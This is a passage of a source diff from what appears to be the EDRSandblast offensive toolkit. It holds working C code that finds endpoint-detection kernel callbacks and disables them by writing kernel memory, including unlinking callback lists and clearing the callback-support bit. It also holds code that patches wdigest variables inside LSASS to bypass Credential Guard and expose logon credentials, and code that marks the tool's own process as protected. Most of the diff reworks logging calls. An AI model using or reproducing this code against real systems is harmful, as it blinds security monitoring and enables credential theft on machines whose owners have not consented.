&driverOffset); + _tprintf_or_not(TEXT("[+] [ObjectCallblacks]\t\t\tPreoperation at 0x%016llx [%s + 0x%llx]\n"), PreOperation, driverNamePreOperation, driverOffset); + if (isDriverNameMatchingEDR(driverNamePreOperation)) { + _tprintf_or_not(TEXT("[+] [ObjectCallblacks]\t\t\tCallback belongs to an EDR ")); + if (Enabled) { + _putts_or_not(TEXT("and is enabled!")); + struct KRNL_CALLBACK* cb = &FoundObjectCallbacks->EDR_CALLBACKS[FoundObjectCallbacks->index]; + cb->type = OBJECT_CALLBACK; + cb->driver_name = driverNamePreOperation; + cb->removed = FALSE; + cb->callback_func = PreOperation; + cb->addresses.object_callback.enable_addr = cbEntry + Offset_CALLBACK_ENTRY_ITEM_Enabled; + FoundObjectCallbacks->index++; + found |= TRUE; + } + else { + _putts_or_not(TEXT("but is disabled.")); + + } + } + } + DWORD64 PostOperation = ReadMemoryDWORD64(cbEntry + Offset_CALLBACK_ENTRY_ITEM_PostOperation); + if (PostOperation) { + DWORD64 driverOffset; + TCHAR* driverNamePostOperation = FindDriverName(PostOperation, &driverOffset); + _tprintf_or_not(TEXT("[+] [ObjectCallblacks]\t\t\tPostoperation at 0x%016llx [%s + 0x%llx]\n"), PostOperation, driverNamePostOperation, driverOffset); + if (Enabled && isDriverNameMatchingEDR(driverNamePostOperation)) { + _tprintf_or_not(TEXT("[+] [ObjectCallblacks]\t\t\tCallback belongs to an EDR ")); + if (Enabled) { + _putts_or_not(TEXT("and is enabled!")); + if (FoundObjectCallbacks->index != 0 && + FoundObjectCallbacks->EDR_CALLBACKS[FoundObjectCallbacks->index - 1].addresses.object_callback.enable_addr == cbEntry + Offset_CALLBACK_ENTRY_ITEM_Enabled) { + //skip if last callback function belong to the same callback entry (preoperation) + continue; + } + struct KRNL_CALLBACK* cb = &FoundObjectCallbacks->EDR_CALLBACKS[FoundObjectCallbacks->index]; + cb->type = OBJECT_CALLBACK; + cb->driver_name = driverNamePostOperation; + cb->removed = FALSE; + cb->callback_func = PostOperation; + cb->addresses.object_callback.enable_addr = cbEntry + Offset_CALLBACK_ENTRY_ITEM_Enabled; + FoundObjectCallbacks->index++; + found |= TRUE; + } + else { + _putts_or_not(TEXT("but is disabled.")); + } + } + } + } + } + return found; +} + + +void EnableDisableEDRProcessAndThreadObjectsCallbacks(struct FOUND_EDR_CALLBACKS* FoundObjectCallbacks, BOOL enable) { + if (!NtoskrnlObjectCallbackOffsetsArePresent()) { + _putts_or_not(TEXT("Object callback offsets not loaded ! Aborting...")); + return; + } + for (DWORD64 i = 0; i < FoundObjectCallbacks->index; i++) { + struct KRNL_CALLBACK* cb = &FoundObjectCallbacks->EDR_CALLBACKS[i]; + if (cb->type == OBJECT_CALLBACK && cb->removed == enable) { + _tprintf_or_not(TEXT("[+] [ObjectCallblacks]\t%s %s callback...\n"), enable ? TEXT("Enabling") : TEXT("Disabling"), cb->driver_name); + WriteMemoryDWORD(cb->addresses.object_callback.enable_addr, enable ? TRUE : FALSE); + cb->removed = !cb->removed; + } + } +} + +void DisableEDRProcessAndThreadObjectsCallbacks(struct FOUND_EDR_CALLBACKS* FoundObjectCallbacks) { + EnableDisableEDRProcessAndThreadObjectsCallbacks(FoundObjectCallbacks, FALSE); +} + +void EnableEDRProcessAndThreadObjectsCallbacks(struct FOUND_EDR_CALLBACKS* FoundObjectCallbacks) { + EnableDisableEDRProcessAndThreadObjectsCallbacks(FoundObjectCallbacks, TRUE); +} + +void EnableDisableAllProcessAndThreadObjectsCallbacks(BOOL enable) { + if (!NtoskrnlObjectCallbackOffsetsArePresent()) { + _putts_or_not(TEXT("Object callback offsets not loaded ! Aborting...")); + return; + } + ObjectTypesSubjectToCallback[0].offset = g_ntoskrnlOffsets.st.psProcessType; + ObjectTypesSubjectToCallback[1].offset = g_ntoskrnlOffsets.st.psThreadType; + for (DWORD i = 0; i < _countof(ObjectTypesSubjectToCallback); i++) { + DWORD64 ObjectType = ReadKernelMemoryDWORD64(ObjectTypesSubjectToCallback[i].offset); + DWORD64 ObjectType_Callbacks_List = ObjectType + g_ntoskrnlOffsets.st.object_type_callbacklist; + + for (DWORD64 cbEntry = ReadMemoryDWORD64(ObjectType_Callbacks_List); + cbEntry != ObjectType_Callbacks_List; + cbEntry = ReadMemoryDWORD64(cbEntry)) { + DWORD64 ObjectTypeField = ReadMemoryDWORD64(cbEntry + Offset_CALLBACK_ENTRY_ITEM_ObjectType); + if (ObjectTypeField != ObjectType) { + _putts_or_not(TEXT("Unexpected value in callback entry, exiting...")); + exit(1); + } + WriteMemoryDWORD(cbEntry + Offset_CALLBACK_ENTRY_ITEM_Enabled, enable ? TRUE : FALSE); + } + } +} + + +/* +* ------- CallbackList unlinking strategy -------- +* The following functions use the fact that the CallbackList of an _OBJECT_TYPE can be emptied by making it point to itself +* However, if the kernel memory write primitive used to overwrite a pointer is not "atomic" (e.g. the RTCore64 driver's writes 2 DWORDs successively), there +* is a high risk of race condition where the CallbackList is used by the system while one of its pointers is only partial overwritten (thus invalid), which +* is likely to result in a crash. +* Handle creation/duplication for processes and threads being very frequent, this strategy is thus risky in some cases. +*/ + +/* +* Count callbacks set on Process & Thread handle manipulation, but is unnable to differentiate EDR-related callbacks from potentially legitimate ones +* Depends only on documented symbols +*/ +SIZE_T CountProcessAndThreadObjectsCallbacks() { + if (!NtoskrnlObjectCallbackOffsetsArePresent()) { + _putts_or_not(TEXT("Object callback offsets not loaded ! Aborting...")); + return 0; + } + SIZE_T nbCallbacks = 0; + ObjectTypesSubjectToCallback[0].offset = g_ntoskrnlOffsets.st.psProcessType; + ObjectTypesSubjectToCallback[1].offset = g_ntoskrnlOffsets.st.psThreadType; + for (DWORD i = 0; i < _countof(ObjectTypesSubjectToCallback); i++) { + DWORD64 ObjectType = ReadKernelMemoryDWORD64(ObjectTypesSubjectToCallback[i].offset); + DWORD64 ObjectType_Callbacks_List = ObjectType + g_ntoskrnlOffsets.st.object_type_callbacklist; + + for (DWORD64 cbEntry = ReadMemoryDWORD64(ObjectType_Callbacks_List + offsetof(LIST_ENTRY, Flink)); + cbEntry != ObjectType_Callbacks_List; + cbEntry = ReadMemoryDWORD64(cbEntry + offsetof(LIST_ENTRY, Flink))) { + nbCallbacks++; + ObjectTypesSubjectToCallback[i].nbCallbacks++; + } + _tprintf_or_not(TEXT("Counting %llu registered callbacks for %s\n"), ObjectTypesSubjectToCallback[i].nbCallbacks, ObjectTypesSubjectToCallback[i].name); + } + + return nbCallbacks; +} + +/* +* Unlink all process and thread handle callbacks (EDR related or not) +* (no critical system component should be in these list anyway) +*/ +void RemoveAllProcessAndThreadObjectsCallbacks() { + if (!NtoskrnlObjectCallbackOffsetsArePresent()) { + _putts_or_not(TEXT("Object callback offsets not loaded ! Aborting...")); + return; + } + ObjectTypesSubjectToCallback[0].offset = g_ntoskrnlOffsets.st.psProcessType; + ObjectTypesSubjectToCallback[1].offset = g_ntoskrnlOffsets.st.psThreadType; + for (DWORD i = 0; i < _countof(ObjectTypesSubjectToCallback); i++) { + if (ObjectTypesSubjectToCallback[i].nbCallbacks) { + DWORD64 ObjectType = ReadKernelMemoryDWORD64(ObjectTypesSubjectToCallback[i].offset); + DWORD64 ObjectType_Callbacks_List = ObjectType + g_ntoskrnlOffsets.st.object_type_callbacklist; + ObjectTypesSubjectToCallback[i].callbackListAddress = ObjectType_Callbacks_List; + + ObjectTypesSubjectToCallback[i].callbackListFlinkBackup = ReadMemoryDWORD64(ObjectType_Callbacks_List + offsetof(LIST_ENTRY, Flink)); + ObjectTypesSubjectToCallback[i].callbackListBlinkBackup = ReadMemoryDWORD64(ObjectType_Callbacks_List + offsetof(LIST_ENTRY, Blink)); + WriteMemoryDWORD64(ObjectType_Callbacks_List + offsetof(LIST_ENTRY, Flink), ObjectType_Callbacks_List); + WriteMemoryDWORD64(ObjectType_Callbacks_List + offsetof(LIST_ENTRY, Blink), ObjectType_Callbacks_List); + _tprintf_or_not(TEXT("Unlinked the callback entries for %s\n"), ObjectTypesSubjectToCallback[i].name); + } + + } + _putts_or_not(TEXT("")); +} + +/* +* Re-link all process and thread handle callbacks that were unlinked +*/ +void RestoreAllProcessAndThreadObjectsCallbacks() { + GetAdditionnalObjectCallbackOffsets(); + ObjectTypesSubjectToCallback[0].offset = g_ntoskrnlOffsets.st.psProcessType; + ObjectTypesSubjectToCallback[1].offset = g_ntoskrnlOffsets.st.psThreadType; + + for (DWORD i = 0; i < _countof(ObjectTypesSubjectToCallback); i++) { + if (ObjectTypesSubjectToCallback[i].callbackListAddress && ObjectTypesSubjectToCallback[i].nbCallbacks) { + DWORD64 callbackListAddress = ObjectTypesSubjectToCallback[i].callbackListAddress; + WriteMemoryDWORD64(callbackListAddress + offsetof(LIST_ENTRY, Flink), ObjectTypesSubjectToCallback[i].callbackListFlinkBackup); + WriteMemoryDWORD64(callbackListAddress + offsetof(LIST_ENTRY, Blink), ObjectTypesSubjectToCallback[i].callbackListBlinkBackup); + _tprintf_or_not(TEXT("Re-linked the original callback entries for %s\n"), ObjectTypesSubjectToCallback[i].name); + } + } + _putts_or_not(TEXT("")); +} + +/* +* ------- CallbackList unlinking strategy END -------- +*/ + + +/* +* ------- SupportCallbacks bit strategy -------- +*/ +/* +* Enables/Disables Callback support for processes and threads entirely. The "SupportsObjectCallbacks" field of _OBJECT_TYPE being checked by ObpCreateHandle before checking if CallbackList +* is not empty (and before listing & calling the callbacks). No callback support, no callbacks. +* WARNING : This flag is actually checked by PatchGuard ! There is a risk that PatchGuard will notice a change, even if temporary, and cause a BSOD. +*/ +void EnableDisableProcessAndThreadObjectsCallbacksSupport(BOOL enable) { + GetAdditionnalObjectCallbackOffsets(); + + ObjectTypesSubjectToCallback[0].offset = g_ntoskrnlOffsets.st.psProcessType; + ObjectTypesSubjectToCallback[1].offset = g_ntoskrnlOffsets.st.psThreadType; + + for (DWORD i = 0; i < _countof(ObjectTypesSubjectToCallback); i++) { + DWORD64 ObjectType = ReadKernelMemoryDWORD64(ObjectTypesSubjectToCallback[i].offset); + DWORD64 ObjectType_TypeInfo = ObjectType + Offset__OBJECT_TYPE_TypeInfo; + WORD TypeInfo_ObjectTypeFlags = ReadMemoryWORD(ObjectType_TypeInfo + Offset__OBJECT_TYPE_INITIALIZER_ObjectTypeFlags); + if (enable) { + TypeInfo_ObjectTypeFlags |= SupportObjectCallbacks_bit; + } + else { + TypeInfo_ObjectTypeFlags &= ~SupportObjectCallbacks_bit; + } + WriteMemoryWORD(ObjectType_TypeInfo + Offset__OBJECT_TYPE_INITIALIZER_ObjectTypeFlags, TypeInfo_ObjectTypeFlags); + _tprintf_or_not(TEXT("[+] Callback support for %s has been %s\n"), ObjectTypesSubjectToCallback[i].name, enable ? TEXT("enabled") : TEXT("disabled")); + + } + _putts_or_not(TEXT("")); +} + +BOOL AreObjectsCallbacksSupportEnabled(struct ObjTypeSubjectToCallback objTypSubjCb) { + GetAdditionnalObjectCallbackOffsets(); + + DWORD64 ObjectType = ReadKernelMemoryDWORD64(objTypSubjCb.offset); + DWORD64 ObjectType_TypeInfo = ObjectType + Offset__OBJECT_TYPE_TypeInfo; + WORD TypeInfo_ObjectTypeFlags = ReadMemoryWORD(ObjectType_TypeInfo + Offset__OBJECT_TYPE_INITIALIZER_ObjectTypeFlags); + BOOL enable = (TypeInfo_ObjectTypeFlags & SupportObjectCallbacks_bit) != 0; + _tprintf_or_not(TEXT("[+] Callback support for %s is %s\n"), objTypSubjCb.name, enable ? TEXT("enabled") : TEXT("disabled")); + + return enable; +} + +BOOL AreProcessAndThreadsObjectsCallbacksSupportEnabled() { + BOOL enabled = FALSE; + ObjectTypesSubjectToCallback[0].offset = g_ntoskrnlOffsets.st.psProcessType; + ObjectTypesSubjectToCallback[1].offset = g_ntoskrnlOffsets.st.psThreadType; + for (DWORD i = 0; i < _countof(ObjectTypesSubjectToCallback); i++) { + enabled |= AreObjectsCallbacksSupportEnabled(ObjectTypesSubjectToCallback[i]); + } + return enabled; +} +/* +* ------- SupportCallbacks bit strategy -------- +*/ diff --git a/EDRSandblast/LSASSProtectionBypass/CredGuard.c b/EDRSandblast/LSASSProtectionBypass/CredGuard.c index 617697d..e328394 100644 --- a/EDRSandblast/LSASSProtectionBypass/CredGuard.c +++ b/EDRSandblast/LSASSProtectionBypass/CredGuard.c @@ -4,6 +4,7 @@ #include #include +#include "../EDRSandblast.h" #include "WdigestOffsets.h" DWORD WINAPI disableCredGuardByPatchingLSASS(void) { @@ -17,14 +18,14 @@ DWORD WINAPI disableCredGuardByPatchingLSASS(void) { // Take a snapshot of all processes in the system. hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (hProcessSnap == INVALID_HANDLE_VALUE) { - _tprintf(TEXT("[!] Cred Guard bypass failed: impossible to get snapshot of the system's processes (CreateToolhelp32Snapshot)\n")); + _putts_or_not(TEXT("[!] Cred Guard bypass failed: impossible to get snapshot of the system's processes (CreateToolhelp32Snapshot)")); return 1; } // Retrieve information about the first process, // and exit if unsuccessful if (!Process32First(hProcessSnap, &pe32)) { - _tprintf(TEXT("[!] Cred Guard bypass failed: obtained invalid process handle\n")); // show cause of failure + _putts_or_not(TEXT("[!] Cred Guard bypass failed: obtained invalid process handle")); // show cause of failure CloseHandle(hProcessSnap); // clean the snapshot object return 1; } @@ -38,21 +39,21 @@ DWORD WINAPI disableCredGuardByPatchingLSASS(void) { CloseHandle(hProcessSnap); if (_tcscmp(pe32.szExeFile, TEXT("lsass.exe")) != 0 || pe32.th32ProcessID == 0) { - _tprintf(TEXT("[!] Cred Guard bypass failed: coudln't find LSASS process\n")); + _putts_or_not(TEXT("[!] Cred Guard bypass failed: coudln't find LSASS process")); return 1; } // Open an handle to the LSASS process. hLsass = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pe32.th32ProcessID); if (hLsass == NULL || hLsass == INVALID_HANDLE_VALUE) { - _tprintf(TEXT("[!] Cred Guard bypass failed: couldn't open lsass memory (OpenProcess, error code 0x%lx)\n"), GetLastError()); + _tprintf_or_not(TEXT("[!] Cred Guard bypass failed: couldn't open lsass memory (OpenProcess, error code 0x%lx)\n"), GetLastError()); return 1; } HMODULE hModulesArray[512] = { 0 }; DWORD lpcbNeeded; if (!EnumProcessModules(hLsass, hModulesArray, sizeof(hModulesArray), &lpcbNeeded)) { - _tprintf(TEXT("[!] Cred Guard bypass failed: couldn't enumerate lsass loaded modules (EnumProcessModules, error code 0x%lx)\n"), GetLastError()); + _tprintf_or_not(TEXT("[!] Cred Guard bypass failed: couldn't enumerate lsass loaded modules (EnumProcessModules, error code 0x%lx)\n"), GetLastError()); CloseHandle(hLsass); return 1; } @@ -61,14 +62,14 @@ DWORD WINAPI disableCredGuardByPatchingLSASS(void) { TCHAR szModulename[MAX_PATH]; for (DWORD i = 0; i < (lpcbNeeded / sizeof(HMODULE)); i++) { if (hModulesArray[i] && !GetModuleFileNameEx(hLsass, hModulesArray[i], szModulename, _countof(szModulename))) { - _tprintf(TEXT("[!] Cred Guard bypass non fatal error: couldn't get module name for module at index 0x%lx (GetModuleFileNameEx, error code 0x%lx)\n"), i, GetLastError()); + _tprintf_or_not(TEXT("[!] Cred Guard bypass non fatal error: couldn't get module name for module at index 0x%lx (GetModuleFileNameEx, error code 0x%lx)\n"), i, GetLastError()); continue; } if (_tcsstr(szModulename, TEXT("wdigest"))) { MODULEINFO moduleInfo = { 0 }; if (hModulesArray[i] && !GetModuleInformation(hLsass, hModulesArray[i], &moduleInfo, sizeof(MODULEINFO))) { - _tprintf(TEXT("[!] Cred Guard bypass non fatal error: couldn't get module information for module at index 0x%lx (GetModuleInformation, error code 0x%lx)\n"), i, GetLastError()); + _tprintf_or_not(TEXT("[!] Cred Guard bypass non fatal error: couldn't get module information for module at index 0x%lx (GetModuleInformation, error code 0x%lx)\n"), i, GetLastError()); continue; } @@ -84,87 +85,87 @@ DWORD WINAPI disableCredGuardByPatchingLSASS(void) { * Setting g_fParameter_UseLogonCredential to 0x1. * First attempt to read the current value and, if the read was successfull patch the g_fParameter_UseLogonCredential to bypass Cred Guard. */ - DWORD64 useLogonCredentialAddress = wdigestBaseAddress + wdigestOffsets.st.g_fParameter_UseLogonCredential; + DWORD64 useLogonCredentialAddress = wdigestBaseAddress + g_wdigestOffsets.st.g_fParameter_UseLogonCredential; DWORD useLogonCredentialPatch = 0x1; - _tprintf(TEXT("[*] Attempting to patch wdigest's g_fParameter_UseLogonCredential at 0x%I64x\n"), useLogonCredentialAddress); + _tprintf_or_not(TEXT("[*] Attempting to patch wdigest's g_fParameter_UseLogonCredential at 0x%I64x\n"), useLogonCredentialAddress); //if (ReadProcessMemory(hLsass, addrOfUseLogonCredentialGlobalVariable, &dwCurrent, dwCurrentLength, &bytesRead)) if (ReadProcessMemory(hLsass, (PVOID)useLogonCredentialAddress, ¤tValue, CurrentValueLength, &bytesRead)) { - _tprintf(TEXT("[+] Found wdigest's g_fParameter_UseLogonCredential with a current value of 0x%lx\n"), currentValue); + _tprintf_or_not(TEXT("[+] Found wdigest's g_fParameter_UseLogonCredential with a current value of 0x%lx\n"), currentValue); } else { - _tprintf(TEXT("[!] Cred Guard bypass fatal error: couldn't retrieve wdigest's g_fParameter_UseLogonCredential value (ReadProcessMemory, error code 0x%lx). An overwrite will not be attempted.\n"), GetLastError()); + _tprintf_or_not(TEXT("[!] Cred Guard bypass fatal error: couldn't retrieve wdigest's g_fParameter_UseLogonCredential value (ReadProcessMemory, error code 0x%lx). An overwrite will not be attempted.\n"), GetLastError()); break; } if (currentValue != useLogonCredentialPatch) { if (WriteProcessMemory(hLsass, (PVOID)useLogonCredentialAddress, (PVOID)&useLogonCredentialPatch, sizeof(DWORD), &bytesWritten)) { ReadProcessMemory(hLsass, (PVOID)useLogonCredentialAddress, ¤tValue, CurrentValueLength, &bytesRead); if (currentValue == useLogonCredentialPatch) { - _tprintf(TEXT("[+] Successfully overwrote wdigest's g_fParameter_UseLogonCredential value to 0x%lx\n"), currentValue); + _tprintf_or_not(TEXT("[+] Successfully overwrote wdigest's g_fParameter_UseLogonCredential value to 0x%lx\n"), currentValue); } else { - _tprintf(TEXT("[!] Cred Guard bypass fatal error: unsuccessful overwrite of wdigest's g_fParameter_UseLogonCredential value (current value 0x%lx instead of 0x%lx)\n"), currentValue, useLogonCredentialPatch); + _tprintf_or_not(TEXT("[!] Cred Guard bypass fatal error: unsuccessful overwrite of wdigest's g_fParameter_UseLogonCredential value (current value 0x%lx instead of 0x%lx)\n"), currentValue, useLogonCredentialPatch); } } else { - _tprintf(TEXT("[!] Cred Guard bypass fatal error: an error occurred will attempting to overwrite wdigest's g_fParameter_UseLogonCredential value (WriteProcessMemory, error code 0x%lx)\n"), GetLastError()); + _tprintf_or_not(TEXT("[!] Cred Guard bypass fatal error: an error occurred will attempting to overwrite wdigest's g_fParameter_UseLogonCredential value (WriteProcessMemory, error code 0x%lx)\n"), GetLastError()); break; } } else { - _tprintf(TEXT("[+] wdigest's g_fParameter_UseLogonCredential is already patched!\n")); + _putts_or_not(TEXT("[+] wdigest's g_fParameter_UseLogonCredential is already patched!")); } - _tprintf(TEXT("\n\n")); + _putts_or_not(TEXT("\n")); /* * Setting g_IsCredGuardEnabled to 0x0. * Needs to temporary set the memory page of g_IsCredGuardEnabled to PAGE_READWRITE to conduct the patch. * First attempt to read the current value and, if the read was successfull patch the g_fParameter_UseLogonCredential to bypass Cred Guard. */ - DWORD64 credGuardEnabledAddress = wdigestBaseAddress + wdigestOffsets.st.g_IsCredGuardEnabled; + DWORD64 credGuardEnabledAddress = wdigestBaseAddress + g_wdigestOffsets.st.g_IsCredGuardEnabled; DWORD isCredGuardEnabledPatch = 0x0; currentValue = 0x0; bytesRead = 0; bytesWritten = 0; DWORD oldMemoryProtection = 0x0; - _tprintf(TEXT("[*] Attempting to patch wdigest's g_fParameter_UseLogonCredential at 0x%I64x\n"), credGuardEnabledAddress); - _tprintf(TEXT("[*] Attempting to set wdigest's g_IsCredGuardEnabled memory protection as PAGE_READWRITE\n")); + _tprintf_or_not(TEXT("[*] Attempting to patch wdigest's g_IsCredGuardEnabled at 0x%I64x\n"), credGuardEnabledAddress); + _putts_or_not(TEXT("[*] Attempting to set wdigest's g_IsCredGuardEnabled memory protection as PAGE_READWRITE")); if (!VirtualProtectEx(hLsass, (PVOID)credGuardEnabledAddress, sizeof(DWORD), PAGE_READWRITE, &oldMemoryProtection)) { - _tprintf(TEXT("[!] Cred Guard bypass fatal error: Failed to set wdigest's g_IsCredGuardEnabled memory protection to PAGE_READWRITE (VirtualProtectEx, error code 0x%lx)\n"), GetLastError()); + _tprintf_or_not(TEXT("[!] Cred Guard bypass fatal error: Failed to set wdigest's g_IsCredGuardEnabled memory protection to PAGE_READWRITE (VirtualProtectEx, error code 0x%lx)\n"), GetLastError()); break; } if (ReadProcessMemory(hLsass, (PVOID)credGuardEnabledAddress, ¤tValue, CurrentValueLength, &bytesRead)) { - _tprintf(TEXT("[+] Found wdigest's g_IsCredGuardEnabled with a current value of 0x%lx\n"), currentValue); + _tprintf_or_not(TEXT("[+] Found wdigest's g_IsCredGuardEnabled with a current value of 0x%lx\n"), currentValue); } else { - _tprintf(TEXT("[!] Cred Guard bypass fatal error: couldn't retrieve wdigest's g_IsCredGuardEnabled value (ReadProcessMemory, error code 0x%lx). An overwrite will not be attempted.\n"), GetLastError()); + _tprintf_or_not(TEXT("[!] Cred Guard bypass fatal error: couldn't retrieve wdigest's g_IsCredGuardEnabled value (ReadProcessMemory, error code 0x%lx). An overwrite will not be attempted.\n"), GetLastError()); break; } if (currentValue != isCredGuardEnabledPatch) { if (WriteProcessMemory(hLsass, (PVOID)credGuardEnabledAddress, (PVOID)&isCredGuardEnabledPatch, sizeof(DWORD), &bytesWritten)) { ReadProcessMemory(hLsass, (PVOID)credGuardEnabledAddress, ¤tValue, CurrentValueLength, &bytesRead); if (currentValue == isCredGuardEnabledPatch) { - _tprintf(TEXT("[+] Successfully overwrote wdigest's g_IsCredGuardEnabled value to 0x%lx\n"), currentValue); + _tprintf_or_not(TEXT("[+] Successfully overwrote wdigest's g_IsCredGuardEnabled value to 0x%lx\n"), currentValue); } else { - _tprintf(TEXT("[!] Cred Guard bypass fatal error: unsuccessful overwrite of wdigest's g_IsCredGuardEnabled value (current value 0x%lx instead of 0x%lx)\n"), currentValue, isCredGuardEnabledPatch); + _tprintf_or_not(TEXT("[!] Cred Guard bypass fatal error: unsuccessful overwrite of wdigest's g_IsCredGuardEnabled value (current value 0x%lx instead of 0x%lx)\n"), currentValue, isCredGuardEnabledPatch); } } else { - _tprintf(TEXT("[!] Cred Guard bypass fatal error: an error occurred will attempting to overwrite wdigest's g_IsCredGuardEnabled value (WriteProcessMemory, error code 0x%lx)\n"), GetLastError()); + _tprintf_or_not(TEXT("[!] Cred Guard bypass fatal error: an error occurred will attempting to overwrite wdigest's g_IsCredGuardEnabled value (WriteProcessMemory, error code 0x%lx)\n"), GetLastError()); break; } } else { - _tprintf(TEXT("[+] wdigest's g_IsCredGuardEnabled is already patched!\n")); + _putts_or_not(TEXT("[+] wdigest's g_IsCredGuardEnabled is already patched!")); } DWORD newMemoryProtection = 0x0; if (!VirtualProtectEx(hLsass, (PVOID)credGuardEnabledAddress, sizeof(DWORD), oldMemoryProtection, &newMemoryProtection)) { - _tprintf(TEXT("[!] Cred Guard bypass non fatal error: Failed to restore wdigest's g_IsCredGuardEnabled memory protection to its original value (VirtualProtectEx, error code 0x%lx)\n"), GetLastError()); + _tprintf_or_not(TEXT("[!] Cred Guard bypass non fatal error: Failed to restore wdigest's g_IsCredGuardEnabled memory protection to its original value (VirtualProtectEx, error code 0x%lx)\n"), GetLastError()); } else { - _tprintf(TEXT("[+] Successfully restored wdigest's g_IsCredGuardEnabled memory protection to its original value\n")); + _putts_or_not(TEXT("[+] Successfully restored wdigest's g_IsCredGuardEnabled memory protection to its original value")); } - _tprintf(TEXT("\n\n")); + _putts_or_not(TEXT("\n")); returnStatus = TRUE; diff --git a/EDRSandblast/LSASSProtectionBypass/RunAsPPL.c b/EDRSandblast/LSASSProtectionBypass/RunAsPPL.c index 6a15cd1..52c8e2b 100644 --- a/EDRSandblast/LSASSProtectionBypass/RunAsPPL.c +++ b/EDRSandblast/LSASSProtectionBypass/RunAsPPL.c @@ -6,8 +6,10 @@ */ #include +#include "../EDRSandblast.h" #include "KernelMemoryPrimitives.h" #include "NtoskrnlOffsets.h" +#include "Undoc.h" #include "RunAsPPL.h" DWORD64 GetSelfEPROCESSAddress(BOOL verbose) { @@ -17,19 +19,19 @@ DWORD64 GetSelfEPROCESSAddress(BOOL verbose) { // Open an handle to our own process. HANDLE selfProcessHandle = OpenProcess(SYNCHRONIZE, FALSE, currentProcessID); if (verbose) { - _tprintf(TEXT("[*] Self process handle: 0x%hx\n"), (USHORT)((ULONG_PTR)selfProcessHandle)); + _tprintf_or_not(TEXT("[*] [ProcessProtection] Self process handle: 0x%hx\n"), (USHORT)((ULONG_PTR)selfProcessHandle)); } // Retrieves the native NtQuerySystemInformation function from ntdll. HMODULE hNtdll = GetModuleHandle(TEXT("ntdll")); if (!hNtdll) { - _tprintf(TEXT("[!] ERROR: could not open an handle to ntdll to find the EPROCESS struct of the current process\n")); + _putts_or_not(TEXT("[!] ERROR: could not open an handle to ntdll to find the EPROCESS struct of the current process")); return 0x0; } _NtQuerySystemInformation NtQuerySystemInformation = (_NtQuerySystemInformation)GetProcAddress(hNtdll, "NtQuerySystemInformation"); if (!NtQuerySystemInformation) { - _tprintf(TEXT("[!] ERROR: could not retrieve NtQuerySystemInformation function to find the EPROCESS struct of the current process\n")); + _putts_or_not(TEXT("[!] ERROR: could not retrieve NtQuerySystemInformation function to find the EPROCESS struct of the current process")); return 0x0; } @@ -42,7 +44,7 @@ DWORD64 GetSelfEPROCESSAddress(BOOL verbose) { PSYSTEM_HANDLE_INFORMATION tmpHandleTableInformation = NULL; PSYSTEM_HANDLE_INFORMATION pHandleTableInformation = (PSYSTEM_HANDLE_INFORMATION)malloc(SystemHandleInformationSize); if (!pHandleTableInformation) { - _tprintf(TEXT("[!] ERROR: could not allocate memory for the handle table to find the EPROCESS struct of the current process\n")); + _putts_or_not(TEXT("[!] ERROR: could not allocate memory for the handle table to find the EPROCESS struct of the current process")); return 0x0; } status = NtQuerySystemInformation(SystemHandleInformation, pHandleTableInformation, SystemHandleInformationSize, NULL); @@ -50,14 +52,14 @@ DWORD64 GetSelfEPROCESSAddress(BOOL verbose) { SystemHandleInformationSize = SystemHandleInformationSize * 2; tmpHandleTableInformation = (PSYSTEM_HANDLE_INFORMATION)realloc(pHandleTableInformation, SystemHandleInformationSize); if (!tmpHandleTableInformation) { - _tprintf(TEXT("[!] ERROR: could not realloc memory for the handle table to find the EPROCESS struct of the current process\n")); + _putts_or_not(TEXT("[!] ERROR: could not realloc memory for the handle table to find the EPROCESS struct of the current process")); return 0x0; } pHandleTableInformation = tmpHandleTableInformation; status = NtQuerySystemInformation(SystemHandleInformation, pHandleTableInformation, SystemHandleInformationSize, NULL); } if (!NT_SUCCESS(status)) { - _tprintf(TEXT("[!] ERROR: could not retrieve the HandleTableInformation to find the EPROCESS struct of the current process\n")); + _putts_or_not(TEXT("[!] ERROR: could not retrieve the HandleTableInformation to find the EPROCESS struct of the current process")); return 0x0; } @@ -71,13 +73,10 @@ DWORD64 GetSelfEPROCESSAddress(BOOL verbose) { continue; } - if (verbose) { - _tprintf(TEXT("[*] Handle for the current process (PID: %hd): 0x%hx at 0x%I64x\n"), handleInfo.UniqueProcessId, handleInfo.HandleValue, (DWORD64)handleInfo.Object); - } - if (handleInfo.HandleValue == (USHORT)((ULONG_PTR)selfProcessHandle)) { - _tprintf(TEXT("[+] Found the handle of the current process (PID: %hd): 0x%hx at 0x%I64x\n"), handleInfo.UniqueProcessId, handleInfo.HandleValue, (DWORD64)handleInfo.Object); + _tprintf_or_not(TEXT("[+] [ProcessProtection] Found the handle of the current process (PID: %hu): 0x%hx at 0x%I64x\n"), handleInfo.UniqueProcessId, handleInfo.HandleValue, (DWORD64)handleInfo.Object); returnAddress = (DWORD64)handleInfo.Object; + break; } } free(pHandleTableInformation); @@ -86,24 +85,20 @@ DWORD64 GetSelfEPROCESSAddress(BOOL verbose) { } int SetCurrentProcessAsProtected(BOOL verbose) { - HANDLE Device = GetDriverHandle(); DWORD64 processEPROCESSAddress = GetSelfEPROCESSAddress(verbose); if (processEPROCESSAddress == 0x0) { - _tprintf(TEXT("[!] ERROR: could not find the EPROCCES struct of the current process to self protect\n")); - CloseHandle(Device); + _putts_or_not(TEXT("[!] ERROR: could not find the EPROCCES struct of the current process to self protect")); return -1; } - _tprintf(TEXT("[+] Found self process EPROCCES struct at 0x%I64x\n"), processEPROCESSAddress); + _tprintf_or_not(TEXT("[+] [ProcessProtection] Found self process EPROCCES struct at 0x%I64x\n"), processEPROCESSAddress); // Sets the current process EPROCESS's ProtectionLevel as Light WinTcb (PS_PROTECTED_WINTCB_LIGHT, currently 0x61). - DWORD64 processSignatureLevelAddress = processEPROCESSAddress + ntoskrnlOffsets.st.ps_protection; - // DWORD64 processSignatureLevelAddress = 0xffffe481d073a080 + offsets.st.ps_protection; + DWORD64 processSignatureLevelAddress = processEPROCESSAddress + g_ntoskrnlOffsets.st.eprocess_protection; + // DWORD64 processSignatureLevelAddress = 0xffffe481d073a080 + offsets.st.eprocess_protection; UCHAR flagPPLWinTcb = ((UCHAR)((PsProtectedSignerWinTcb) << 4)) | ((UCHAR)(PsProtectedTypeProtectedLight)); - _tprintf(TEXT("[*] Protecting own process by setting the EPROCESS's ProtectionLevel (at 0x%I64x) to 0x%hx (PS_PROTECTED_WINTCB_LIGHT)\n"), processSignatureLevelAddress, 